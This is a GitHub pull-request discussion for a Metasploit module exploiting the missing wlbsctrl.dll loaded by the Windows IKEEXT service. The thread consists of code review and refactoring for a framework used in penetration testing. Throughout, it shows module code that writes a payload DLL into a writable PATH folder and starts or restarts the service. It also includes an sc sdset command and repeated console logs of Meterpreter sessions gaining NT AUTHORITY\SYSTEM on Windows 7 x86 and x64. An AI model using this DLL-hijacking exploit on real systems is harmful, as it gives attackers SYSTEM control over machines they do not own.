Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP

Loading…

IPsec Keying Modules Services Windows Local Priv Esc #1054

Merged
merged 36 commits into from

6 participants

@Meatballs1
Collaborator

Exploits missing DLL used by 'IKE and AuthIP IPsec Keying Modules' as found in Windows Vista-Win8 to gain SYSTEM privs.

Tested in Win7 x86.

This module does not work in x64 - unsure of the cause. LoadImage is called by the service on the x64 generated DLL but the payload is not executed...

There are a few issues with the reporting of file_exists? which often gives the wrong result - this may be due to underlying windows issues - the only way to check for certain is to open/try and create the file to get an exception. UAC makes file_exists? very unreliable so I return if UAC is enabled.

I would like the module to keep the handler open if a restart is required but unsure of best way to achieve this - I tell the user to create a handler manually. This is probably the most likely scenario as users do not have permissions to this service by default.

User requires write permissions to a folder within the system PATH.

To test (without rebooting) replace the SID with the test user to give them restart/start permissions:

C:\Users\Test>sc sdset IKEEXT D:(A;;RPWPDTLO;;;S-1-5-21-2328614077-3819224548-2155398847-1001)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

modules/exploits/windows/local/ipsec_keyring_service.rb
((22 lines not shown))
+ 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL',
+ 'Description' => %q{
+ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring
+ Modules' service which runs as SYSTEM, and starts automatically in default
+ installations of Vista-Win8.
+ },
+ 'References' =>
+ [
+ ['URL', 'https://www.htbridge.com/advisory/HTB23108'],
+ ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
+ ],
+ 'DisclosureDate' => "Oct 9 2012",
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Ben Campbell <eat_meatballs@hotmail.co.uk>',

trailing comma

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((32 lines not shown))
+ ],
+ 'DisclosureDate' => "Oct 9 2012",
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Ben Campbell <eat_meatballs@hotmail.co.uk>',
+ ],
+ 'Platform' => [ 'win'],
+ 'Targets' => [ ['Windows', {}] ],
+ 'SessionTypes' => [ "meterpreter" ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'thread',
+ 'WfsDelay' => '5'
+ },
+ 'DefaultTarget' => 0,

trailing comma

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((39 lines not shown))
+ 'Platform' => [ 'win'],
+ 'Targets' => [ ['Windows', {}] ],
+ 'SessionTypes' => [ "meterpreter" ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'thread',
+ 'WfsDelay' => '5'
+ },
+ 'DefaultTarget' => 0,
+ ))
+
+ register_options([
+ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
+ ])
+
+ @load_lib_search_path = [ '%SystemRoot%\\System32',

global variables suck. better solution?

@Meatballs1 Collaborator

@ is just an instance variable whereas @@ is global/static?

@Meatballs1 Collaborator

@brandonprry Just reviewing HACKING:

9 - Never, ever use $global variables. This applies to modules, mixins,and libraries. If you need a "global" within a specific class, you canuse @@class_variables, but most modules should use @instance variablesto store information between methods.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((156 lines not shown))
+ # paths ourselves?
+ def check_dirs
+ print_status("Attempting to create a non-existant PATH dir to use.")
+ @non_existant_dirs.each do |dir|
+ begin
+ client.fs.dir.mkdir(dir)
+ return dir
+ rescue Rex::Post::Meterpreter::RequestError => e
+ vprint_status("Unable to create dir: #{dir} - #{e}")
+ end
+ end
+
+ return nil
+ end
+
+ # TODO Move to Exploit::Local?

Is this a todo that can be accomplished before merging? Merging code with todos inside is no bueno :)

@Meatballs1 Collaborator

Yes would like some feedback as to where this should live, egypt suggested it could be a lib method.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((196 lines not shown))
+ end
+
+ def exploit
+ @reboot = false
+
+ if is_system?
+ print_error("Current user is already SYSTEM, aborting.")
+ return
+ end
+
+ print_status("Checking service exists...")
+ if !check_service_exists?(@service_name)
+ return
+ end
+
+ if session_arch == 'ARCH_X64'

Shouldn't this be ARCH_X64 with no quotes? That is what is returned above in session_arch

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7
Collaborator

Hi @Meatballs1, first of all thanks for your contribution!

My testing on Windows 7 SP1, the service doesn't start automatically in my default installation:

msf  exploit(ipsec_keyring_service) > rexploit
[*] Reloading module...

[-] The Windows::WindowsServices mixin is deprecated, use Windows::Services instead
[*] Started reverse handler on 192.168.1.128:4444 
[*] Checking service exists...
[-] UAC is enabled results, may get false negatives on writeable folders.
[*] Checking SYSTEM PATH folders for write access...
[*] No permissions for C:\Windows\system32
[*] No permissions for C:\Windows
[*] No permissions for C:\Windows\System32\Wbem
[*] No permissions for C:\Windows\System32\WindowsPowerShell\v1.0\
[+] Write permissions in c:\python27\ - RW
[*] Writing 14336 bytes to c:\python27\\wlbsctrl.dll...
[*] Launching service IKEEXT...
[-] Unable to start service, and it does not auto start, cleaning up...
[*] Deleted file c:\python27\\wlbsctrl.dll

After configuring it:

msf  exploit(ipsec_keyring_service) > rexploit
[*] Reloading module...

[-] The Windows::WindowsServices mixin is deprecated, use Windows::Services instead
[*] Started reverse handler on 192.168.1.128:4444 
[*] Checking service exists...
[-] UAC is enabled results, may get false negatives on writeable folders.
[*] Checking SYSTEM PATH folders for write access...
[*] No permissions for C:\Windows\system32
[*] No permissions for C:\Windows
[*] No permissions for C:\Windows\System32\Wbem
[*] No permissions for C:\Windows\System32\WindowsPowerShell\v1.0\
[+] Write permissions in c:\python27\ - RW
[*] Writing 14336 bytes to c:\python27\\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, manually create handler and wait for a reboot...
msf  exploit(ipsec_keyring_service) > use exploit/multi/handler 
msf  exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] Starting the payload handler...
[*] 192.168.1.137 - Meterpreter session 1 closed.  Reason: Died
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.137:49156) at 2012-12-28 21:40:22 +0100

meterpreter > getuid
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.137 - Meterpreter session 2 closed.  Reason: User exit

My first comments:

  • [-] The Windows::WindowsServices mixin is deprecated, use Windows::Services instead <-- It should be fixed.

  • When the service is configured to start in "Manual" mode, the check detects it as vulnerable (it isn't disabled), but the exploit fails. I suppose when the service Startup is configured as Manual it should be considered as safe too, right?

msf  exploit(ipsec_keyring_service) > check
[+] The target is vulnerable.
msf  exploit(ipsec_keyring_service) > exploit

[-] The Windows::WindowsServices mixin is deprecated, use Windows::Services instead
[*] Started reverse handler on 192.168.1.128:4444 
[*] Checking service exists...
[-] UAC is enabled results, may get false negatives on writeable folders.
[*] Checking SYSTEM PATH folders for write access...
[*] No permissions for C:\Windows\system32
[*] No permissions for C:\Windows
[*] No permissions for C:\Windows\System32\Wbem
[*] No permissions for C:\Windows\System32\WindowsPowerShell\v1.0\
[+] Write permissions in c:\python27\ - RW
[*] Writing 14336 bytes to c:\python27\\wlbsctrl.dll...
[*] Launching service IKEEXT...
[-] Unable to start service, and it does not auto start, cleaning up...
[*] Deleted file c:\python27\\wlbsctrl.dll
[*] Exploit completed, but no session was created.
@jvazquez-r7
Collaborator
  • And yeah, msftidy warnings should be corrected pls!
$ tools/msftidy.rb modules/exploits/windows/local/ipsec_keyring_service.rb 
ipsec_keyring_service.rb:62 - [WARNING] Spaces at EOL
modules/exploits/windows/local/ipsec_keyring_service.rb
((300 lines not shown))
+ print_error("Unable to stop service.")
+ end
+ elsif status == 0
+ print_status("Service started...")
+ end
+ rescue ::Exception => e
+ if service_information['Startup'] == 'Manual'
+ print_error("Unable to start service, and it does not auto start, cleaning up...")
+ else
+ @reboot = true
+ print_status("Unable to start service, manually create handler and wait for a reboot...")
+ end
+ end
+ end
+
+ # Below copied from enum_dirperms
@jvazquez-r7 Collaborator

Not sure if @jlee-r7 has something to say about code reuse or would like to something like moving it to some mixin... just warning him :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((194 lines not shown))
+ unless @reboot
+ if @write_success && @dll_file_path
+ begin
+ file_rm(@dll_file_path)
+ vprint_status("Deleted file #{@dll_file_path}")
+ rescue ::Exception => e
+ print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails
+ end
+ end
+ end
+
+ super
+ end
+
+ def exploit
+ @token = get_imperstoken()
@jvazquez-r7 Collaborator

The enum_dirperms adds exception handling when using this method, maybe you should add it too:

quoting code from enum_dirperms:

        begin
            t = get_imperstoken()
        rescue ::Exception => e
            # Failure due to timeout, access denied, etc.
            t = 0
            vprint_error("Error #{e.message} while using get_imperstoken()")
            vprint_error(e.backtrace)
        end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@Meatballs1
Collaborator

@jvazquez-r7 Cant remember what my Win7 was like by default but the htbridge advisory states that it should be automatic (but doesn't define any service packs).

Thanks for comments, I've addressed them where I can.

Code duplication - could potentially add the method to Msf::Post::File or something but prefer direction on where to put it if wanted in a lib.

@jvazquez-r7
Collaborator

@Meatballs1 yeah, I'm going to give it just a little time in case @jlee-r7 has something to say about the code reuse topic. If not will be proceed to last test, cleanup if needed, merge :) thanks for contribution!

modules/exploits/windows/local/ipsec_keyring_service.rb
((207 lines not shown))
+ print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails
+ end
+ end
+ end
+
+ super
+ end
+
+ def exploit
+ begin
+ @token = get_imperstoken()
+ rescue ::Exception => e
+ # Failure due to timeout, access denied, etc.
+ vprint_error("Error #{e.message} while using get_imperstoken()")
+ vprint_error(e.backtrace)
+ return
@jvazquez-r7 Collaborator

Since, even when local, its an exploit, I think fail_with should be used in case of failure (better than print_error & return)

I think its good for fail_with with Exploit::Failure::Unknown

            vprint_error("Error #{e.message} while using get_imperstoken()")
            vprint_error(e.backtrace)
            fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken()")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((219 lines not shown))
+ # Failure due to timeout, access denied, etc.
+ vprint_error("Error #{e.message} while using get_imperstoken()")
+ vprint_error(e.backtrace)
+ return
+ end
+
+ @reboot = false
+
+ if is_system?
+ print_error("Current user is already SYSTEM, aborting.")
+ return
+ end
+
+ print_status("Checking service exists...")
+ if !check_service_exists?(@service_name)
+ return
@jvazquez-r7 Collaborator

I think its good for fail_with with Exploit::Failure::NoTarget

fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((224 lines not shown))
+
+ @reboot = false
+
+ if is_system?
+ print_error("Current user is already SYSTEM, aborting.")
+ return
+ end
+
+ print_status("Checking service exists...")
+ if !check_service_exists?(@service_name)
+ return
+ end
+
+ if session_arch == ARCH_X64
+ print_error("Exploit currently does not work with x64.")
+ #return
@jvazquez-r7 Collaborator

I think its good for fail_with

fail_with(Exploit::Failure::NoTarget, "Exploit currently does not work with x64.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((228 lines not shown))
+ print_error("Current user is already SYSTEM, aborting.")
+ return
+ end
+
+ print_status("Checking service exists...")
+ if !check_service_exists?(@service_name)
+ return
+ end
+
+ if session_arch == ARCH_X64
+ print_error("Exploit currently does not work with x64.")
+ #return
+ end
+
+ if is_uac_enabled?
+ print_error("UAC is enabled results, may get false negatives on writeable folders.")
@jvazquez-r7 Collaborator

print_warning better than print_error in my opinion

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((234 lines not shown))
+ return
+ end
+
+ if session_arch == ARCH_X64
+ print_error("Exploit currently does not work with x64.")
+ #return
+ end
+
+ if is_uac_enabled?
+ print_error("UAC is enabled results, may get false negatives on writeable folders.")
+ end
+
+ if datastore['DIR'].empty?
+ # If DLL already exists in system folders, we dont want to overwrite by accident
+ if check_search_path
+ print_error("DLL already exists in system folders.")
@jvazquez-r7 Collaborator

I think fail_with could be used here:

fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((261 lines not shown))
+ # Use manually selected Dir
+ file_path = datastore['DIR']
+ end
+
+ @dll_file_path = "#{file_path}\\wlbsctrl.dll"
+
+ service_information = service_info(@service_name)
+
+ if service_information['Startup'] == 'Disabled'
+ print_status("Service is disabled, attempting to enable...")
+ service_change_startup(@service_name, 'auto')
+ service_information = service_info(@service_name)
+
+ # Still disabled
+ if service_information['Startup'] == 'Disabled'
+ print_error("Unable to enable service, aborting...")
@jvazquez-r7 Collaborator

I think fail_with could be used here

fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((280 lines not shown))
+
+ # Check architecture
+ dll = generate_payload_dll({:arch => session_arch})
+
+ #
+ # Drop the malicious executable into the path
+ #
+ print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
+ begin
+ write_file(@dll_file_path, dll)
+ @write_success = true
+ rescue Rex::Post::Meterpreter::RequestError => e
+ # Can't write the file, can't go on
+ print_error(e.message)
+ @write_success = false
+ return
@jvazquez-r7 Collaborator

I think fail_with could be used here:

fail_with(Exploit::Failure::Unknown, e.message)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((297 lines not shown))
+
+ #
+ # Run the service, let the Windows API do the rest
+ #
+ print_status("Launching service #{@service_name}...")
+
+ begin
+ status = service_start(@service_name)
+ if status == 1
+ print_status("Service already running, attempting to restart...")
+ if service_stop(@service_name) == 0
+ print_status("Service stopped, attempting to start...")
+ if service_start(@service_name) == 0
+ print_status("Service started...")
+ else
+ print_error("Unable to start service.")
@jvazquez-r7 Collaborator

I think fail_with could be used here

fail_with(Exploit::Failure::Unknown, "Unable to start service.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((300 lines not shown))
+ #
+ print_status("Launching service #{@service_name}...")
+
+ begin
+ status = service_start(@service_name)
+ if status == 1
+ print_status("Service already running, attempting to restart...")
+ if service_stop(@service_name) == 0
+ print_status("Service stopped, attempting to start...")
+ if service_start(@service_name) == 0
+ print_status("Service started...")
+ else
+ print_error("Unable to start service.")
+ end
+ else
+ print_error("Unable to stop service.")
@jvazquez-r7 Collaborator

I think fail_with could be used here

fail_with(Exploit::Failure::Unknown, "Unable to stop service")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((307 lines not shown))
+ if service_stop(@service_name) == 0
+ print_status("Service stopped, attempting to start...")
+ if service_start(@service_name) == 0
+ print_status("Service started...")
+ else
+ print_error("Unable to start service.")
+ end
+ else
+ print_error("Unable to stop service.")
+ end
+ elsif status == 0
+ print_status("Service started...")
+ end
+ rescue ::Exception => e
+ if service_information['Startup'] == 'Manual'
+ print_error("Unable to start service, and it does not auto start, cleaning up...")
@jvazquez-r7 Collaborator

I think fail_with could be used here

fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((62 lines not shown))
+ # Current exist? gives false negative when folder does exist.
+ def exist?(path)
+ begin
+ session.fs.dir.entries(path)
+ return true
+ rescue
+ end
+
+ return false
+ end
+
+ def check_service_exists?(service)
+ service_info = service_info(service)
+
+ if service_info.nil?
+ print_error("Unable to enumerate services.")
@jvazquez-r7 Collaborator

maybe print_warning could be better here

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((67 lines not shown))
+ rescue
+ end
+
+ return false
+ end
+
+ def check_service_exists?(service)
+ service_info = service_info(service)
+
+ if service_info.nil?
+ print_error("Unable to enumerate services.")
+ return false
+ end
+
+ if service_info && service_info['Name'].empty?
+ print_error("Service #{service} does not exist.")
@jvazquez-r7 Collaborator

maybe print_warning could be better here, later the fail_with will show the red error :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((108 lines not shown))
+ if check_search_path
+ return Exploit::CheckCode::Safe
+ end
+
+ return Exploit::CheckCode::Vulnerable
+ end
+ end
+
+ def check_search_path
+ dll = 'wlbsctrl.dll'
+
+ @load_lib_search_path.each do |path|
+ dll_path = "#{expand_path(path)}\\#{dll}"
+
+ if file_exist?(dll_path)
+ print_error("DLL already exists at #{dll_path}...")
@jvazquez-r7 Collaborator

Maybe print_warning could be used better here

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7
Collaborator

As always, feel free to wait for a while in case a more experienced developer corrects my comments before fixing :)

@Meatballs1
Collaborator

Will look at changing them when I get a chance, never seen those methods before :)

@Meatballs1
Collaborator

Worked out how to leave the handler running when a reboot is required. Just using same while loop that exploit/multi/handler uses to listen with but only run it if the exploit is started as a background job.

[*] Sending stage (752128 bytes) to 192.168.1.122
[*] Meterpreter session 1 opened (192.168.1.125:4444 -> 192.168.1.122:49170) at 2013-01-03 20:06:38 +0000
msf  exploit(ipsec_keyring_service) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.125:5555
[*] Checking service exists...
[*] Checking %PATH% folders for write access...
[+] Write permissions in c:\Program Files\temp - RW
[*] Writing 14336 bytes to c:\Program Files\temp\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, handler running waiting for a reboot...
jobs

Jobs
====

  Id  Name
  --  ----
  1   Exploit: multi/handler
  2   Exploit: windows/local/ipsec_keyring_service

msf  exploit(ipsec_keyring_service) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > reboot
Rebooting...
meterpreter >
[*] 192.168.1.122 - Meterpreter session 1 closed.  Reason: Died

msf  exploit(ipsec_keyring_service) > jobs

Jobs
====

  Id  Name
  --  ----
  1   Exploit: multi/handler
  2   Exploit: windows/local/ipsec_keyring_service

msf  exploit(ipsec_keyring_service) >
[*] Sending stage (752128 bytes) to 192.168.1.122
[*] Meterpreter session 2 opened (192.168.1.125:5555 -> 192.168.1.122:49157) at 2013-01-03 20:09:09 +0000
@jvazquez-r7
Collaborator

Sorry for the delay! Looking into this!

@jvazquez-r7
Collaborator

When the dll exists it fails, I've detected it when following the instructions with autmatic startup, and I've relaunched the exploit with -j:

msf  exploit(ipsec_keyring_service) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] Checking service exists...
[!] UAC is enabled results, may get false negatives on writeable folders.
[*] Checking %PATH% folders for write access...
[+] Write permissions in C:\Python27 - RW
[*] Writing 14336 bytes to C:\Python27\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, use exploit -j to run as a background job and wait for a reboot...
[*] Exploit completed, but no session was created.
msf  exploit(ipsec_keyring_service) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444 
msf  exploit(ipsec_keyring_service) > [*] Checking service exists...
[!] UAC is enabled results, may get false negatives on writeable folders.
[*] Checking %PATH% folders for write access...
[-] Unable to retrieve %PATH% from registry.
[*] Attempting to create a non-existant PATH dir to use.
[-] Exploit failed [not-vulnerable]: Unable to write to any folders in the PATH, aborting...

@jvazquez-r7
Collaborator

Or maybe not, file should have been deleted by cleanup... checking further

@jvazquez-r7
Collaborator

Working... let me do some more checking, because sometimes I get some weird fails :\

msf  exploit(ipsec_keyring_service) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444 
msf  exploit(ipsec_keyring_service) > [*] Checking service exists...
[!] UAC is enabled results, may get false negatives on writeable folders.
[*] Checking %PATH% folders for write access...
[+] Write permissions in C:\Python27 - RW
[*] Writing 14336 bytes to C:\Python27\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, handler running waiting for a reboot...
[*] 192.168.1.153 - Meterpreter session 1 closed.  Reason: Died
[*] Sending stage (752128 bytes) to 192.168.1.153
[*] Meterpreter session 2 opened (192.168.1.129:4444 -> 192.168.1.153:49155) at 2013-01-30 18:40:03 +0100
[-] Error deleting C:\Python27\wlbsctrl.dll : closed stream

msf  exploit(ipsec_keyring_service) > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-RNJ7NBRK9L7  192.168.1.129:4444 -> 192.168.1.153:49155 (192.168.1.153)

msf  exploit(ipsec_keyring_service) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
@jvazquez-r7
Collaborator

Oka, working fine, and comments have been fixed, I'm going to wait just for a while in case @jlee-r7 would like something about the reusing code topic, will merge if there aren't news :)

modules/exploits/windows/local/ipsec_keyring_service.rb
((59 lines not shown))
+ @non_existant_dirs = []
+ end
+
+ # Current exist? gives false negative when folder does exist.
+ def exist?(path)
+ begin
+ session.fs.dir.entries(path)
+ return true
+ rescue
+ end
+
+ return false
+ end
+
+ def check_service_exists?(service)
+ service_info = service_info(service)
@jlee-r7 Collaborator
jlee-r7 added a note

Don't shadow method names with variables.

@kernelsmith Collaborator

to clarify, you mean something like this is better right?
serv_info = service_info(service)
if serv_info.nil?

BTW, I should add that the non-native meterpreter code that I've been working on for about 2 years now sadly, improves the services post API significantly and he could just use service_exists?(service) if I can get it merged. It will require significant time from egypt tho, and will probably have merge conflicts since I haven't touched it in quite a while.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((47 lines not shown))
+ },
+ 'DefaultTarget' => 0
+ ))
+
+ register_options([
+ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
+ ])
+ @service_name = 'IKEEXT'
+ @load_lib_search_path = [ '%SystemRoot%\\System32',
+ '%SystemRoot%\\System',
+ '%SystemRoot%'
+ ]
+ @non_existant_dirs = []
+ end
+
+ # Current exist? gives false negative when folder does exist.
@jlee-r7 Collaborator
jlee-r7 added a note

if it's broken, it should be fixed instead of overriding it.

@Meatballs1 Collaborator

Yeah but I don't wanna be responsible for such a change with a wide impact! :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7
Collaborator

I've created a new branch on my repo to try to handle the code reuse of get_imperstoken and check_dir methods by moving them to the Msf::Post::Windows::Accounts mixin, as discussed with @jlee-r7

https://github.com/jvazquez-r7/metasploit-framework/tree/account_methods_keyring

I guess it'll need review and guidance from @jlee-r7 before it can be merged. Just updating.

@Meatballs1
Collaborator

Let me know when those get committed and I'll work on updating this bit and addressing feedback

@Meatballs1
Collaborator

Updated to pull in Juan's refactoring, any thoughts on why it fails with x64?

@Meatballs1
Collaborator

I got to the bottom of the x64 failure:

Sometime ago the payload size in template.h was reduced from 8192 to 2048. However Util::Exe was still writing from PAYLOAD: to PAYLOAD:+8192 even when the actual payload might be ~120 bytes. This was probably overwriting stuff it shouldn't be! And probably means that anybody else who has ever tried to do dll hijacking in x64 with a meterp dll also failed?

I dont believe x86.dll has been recompiled since the change (3 years ago) which explains why it still works, but the x64 changes to template.c went in 5 days afterwards so has always had the smaller buffer.

I have also made some changes to Exploit::Exe as it wont pick up ARCH_X86_64...

msf  exploit(ipsec_keyring_service) > exploit

[*] Started reverse handler on 10.0.5.101:6666 
[*] Checking service exists...
[!] UAC is enabled results, may get false negatives on writeable folders.
[*] Checking %PATH% folders for write access...
[+] Write permissions in c:\bin - RW
[*] Writing 5120 bytes to c:\bin\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Sending stage (951296 bytes) to 10.0.5.100
[*] Service started...
[*] Meterpreter session 8 opened (10.0.5.101:6666 -> 10.0.5.100:49945) at 2013-04-27 20:45:20 +0100
[!] This exploit may require manual cleanup of: c:\bin\wlbsctrl.dll

meterpreter > sysinfo
Computer        : WIN7-X64
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_GB
Meterpreter     : x64/win64
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
@Meatballs1
Collaborator

Requiring a reboot (user has insufficient privs):

emsf  exploit(ipsec_keyring_service) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.5.101:6767 
msf  exploit(ipsec_keyring_service) > [*] Checking service exists...
[!] UAC is enabled results, may get false negatives on writeable folders.
[*] Checking %PATH% folders for write access...
[+] Write permissions in c:\bin - RW
[*] Writing 5120 bytes to c:\bin\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, handler running waiting for a reboot...
sessions -i 19
[*] Starting interaction with 19...

meterpreter > reboot
Rebooting...
meterpreter > 
[*] 10.0.5.100 - Meterpreter session 19 closed.  Reason: Died

[*] Sending stage (951296 bytes) to 10.0.5.100
[*] Meterpreter session 20 opened (10.0.5.101:6767 -> 10.0.5.100:49204) at 2013-04-27 21:39:06 +0100

msf  exploit(ipsec_keyring_service) > sessions -i 20
[*] Starting interaction with 20...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN7-X64
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_GB
Meterpreter     : x64/win64
@Meatballs1
Collaborator

Windows 8 has it installed as 'manual' with a 'trigger start'. Not sure how I kick that off! Might be worth seeing if a railgun call can be used.

>sc qtriggerinfo IKEEXT
[SC] QueryServiceConfig2 SUCCESS

SERVICE_NAME: IKEEXT

        START SERVICE
          FIREWALL PORT EVENT          : b7569e07-8421-4ee0-ad10-86915afdad09 [P
ORT OPEN]
            DATA                       : 500;UDP;%windir%\system32\svchost.exe;I
KEEXT;
@kernelsmith
Collaborator
@Meatballs1
Collaborator

There's service start calls already in the post module API, but if a user hasn't got privileges but can cause the 'trigger' event via other WinAPI functions that could be interesting :)

@wvu-r7
Collaborator

Updates on this one? By the way, you appear to be on the ball with your PRs, @Meatballs1. :)

@Meatballs1
Collaborator

This is good to go as far as I'm aware. Hopefully you can confirm that x64 dll hijacking doesn't work prior to this and that my changes successfully create correct DLLs to resolve http://dev.metasploit.com/redmine/issues/7923

lib/msf/util/exe.rb
@@ -414,7 +414,7 @@ def self.to_win32pe_exe_sub(framework, code, opts={})
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
- pe[bo, 8192] = [code].pack("a8192")
+ pe[bo, code.length] = [code].pack("a*")
@jvazquez-r7 Collaborator

I don't think code is going to be longer than 8192, but not sure if this change worths. Thoughts :? (ping @jlee-r7 )

@jvazquez-r7 Collaborator

According to @Meatballs1, it's related to http://dev.metasploit.com/redmine/issues/7923

I've asked him to make it in a different pull request, referencing the redmine bug, please!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
lib/msf/core/post/windows/accounts.rb
@@ -177,6 +177,61 @@ def lookup_SID_NAME_USE(enum_value)
:integrity_label
][enum_value - 1]
end
+
@jvazquez-r7 Collaborator

I feel comfortable with this code, but definitely need to double check with @jlee-r7, mainly I always have the doubt about how to proceed when adding new APIs to mixins. Even after checking some code, I'm not sure if there is a preferred way to define return values (0 vs nil or raise exception), etc.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((22 lines not shown))
+
+ def initialize(info={})
+ super( update_info( info,
+ 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL',
+ 'Description' => %q{
+ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring
+ Modules' service which runs as SYSTEM, and starts automatically in default
+ installations of Vista-Win8. Use reverse_http(s) for greater reliability
+ when attempting to reboot system.
+ },
+ 'References' =>
+ [
+ ['URL', 'https://www.htbridge.com/advisory/HTB23108'],
+ ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
+ ],
+ 'DisclosureDate' => "Oct 9 2012",
@jvazquez-r7 Collaborator

Oct 09 2012

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((205 lines not shown))
+ end
+
+ def exploit
+ unless session_arch == payload_instance.arch.first
+ vprint_error("Session Arch: #{session_arch} Payload Arch: #{payload_instance.arch}")
+ fail_with(Exploit::Failure::BadConfig, "Wrong Architecture targetted")
+ end
+
+ begin
+ @token = get_imperstoken
+ rescue ::Exception => e
+ fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}")
+ end
+
+ if is_system?
+ print_error("Current user is already SYSTEM, aborting.")
@jvazquez-r7 Collaborator

Use fail_with instead of print_error/return

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
